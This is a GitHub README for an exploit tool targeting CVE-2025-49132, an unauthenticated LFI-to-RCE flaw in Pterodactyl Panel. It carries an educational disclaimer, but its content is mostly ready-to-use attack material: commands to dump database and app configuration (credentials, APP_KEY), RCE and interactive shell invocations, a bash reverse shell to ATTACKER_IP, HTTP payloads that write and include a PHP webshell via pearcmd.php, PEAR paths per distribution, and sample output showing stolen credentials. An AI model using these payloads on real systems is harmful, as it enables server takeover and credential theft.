popyue/cve-2025-49132CVE For Pterodactyl (For Study and Education)
⚠️ Disclaimer: This repository is created for educational and research purposes only as part of my security research to understand and document CVE-2025-49132. All credit for the vulnerability discovery goes to the original researcher(s).
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___/ |_| /_/ |_|___/ /___|
Pterodactyl Panel - Unauthenticated LFI to RCE Exploit
CVE-2025-49132 is an Unauthenticated Local File Inclusion (LFI) vulnerability in Pterodactyl Panel that can be escalated to Remote Code Execution (RCE) via PHP's pearcmd.php.
The vulnerability exists in the /locales/locale.json endpoint, which fails to properly sanitize the locale and namespace parameters, allowing attackers to read arbitrary PHP configuration files and achieve code execution.
| Status | Version |
|---|---|
| ❌ Vulnerable | <= 1.11.10 |
| ✅ Patched | >= 1.11.11 |
pearcmd.php LFI2RCE technique# Clone the repository
git clone https://github.com/YOUR_USERNAME/CVE-2025-49132.git
cd CVE-2025-49132
# Install dependencies
pip install requests
requests librarycurl (for RCE mode)# Read database configuration
python exploit.py -u http://target.com --read -p ../../config -f database
# Read application configuration (contains APP_KEY)
python exploit.py -u http://target.com --read -p ../../config -f app
# Read other configurations
python exploit.py -u http://target.com --read -p ../../config -f auth
python exploit.py -u http://target.com --read -p ../../config -f session
python exploit.py -u http://target.com --read -p ../../config -f mail
# Single command execution
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "id"
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "whoami"
# Interactive shell mode
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR
# Reverse shell
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
| Distribution | Path |
|---|---|
| Debian/Ubuntu | ../../../../../../usr/share/php |
| SUSE/OpenSUSE | ../../../../../../usr/share/php/PEAR |
| CentOS/RHEL | ../../../../../../usr/share/pear |
| Alpine | ../../../../../../usr/share/php8 |
| Argument | Description |
|---|---|
-u, --url | Target URL (required) |
-p, --path | Path traversal for LFI or PEAR path for RCE |
-f, --file | PHP file to read (without .php extension) |
--read | Enable LFI read mode |
--rce | Enable RCE mode |
--cmd | Command to execute (single execution mode) |
--sdir | Directory to write shell (default: /tmp) |
--sname | Shell filename (default: shell) |
The vulnerable endpoint /locales/locale.json accepts locale and namespace parameters:
GET /locales/locale.json?locale=../../config&namespace=database
This allows reading any PHP file that returns an array, including Laravel configuration files.
The exploit chains LFI with pearcmd.php to achieve RCE:
Stage 1: Use pearcmd.php's config-create command to write a PHP webshell
/locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system(...)?>+/tmp/shell.php
Stage 2: Include the written shell via LFI
/locales/locale.json?locale=../../../../../../tmp&namespace=shell&c=<hex_encoded_cmd>
════════════════════════════════════════════════════════════
DATABASE CONFIGURATION
════════════════════════════════════════════════════════════
default: mysql
connections:
mysql:
driver: mysql
host: 127.0.0.1
port: 3306
database: panel
username: pterodactyl
password: SecretPassword123
────────────────────────────────────────────────────────────
[+] Configuration extracted successfully!
[*] Target: http://panel.example.com
[*] Executing command: id
[*] Writing payload to: /tmp/cmd_abc123.php
[+] Output:
----------------------------------------
uid=474(wwwrun) gid=477(www) groups=477(www)
----------------------------------------
locale and namespace parametersregister_argc_argv directiveThis tool is provided for educational and authorized security testing purposes only.
Use responsibly and ethically.
⭐ Star this repo if you found it useful!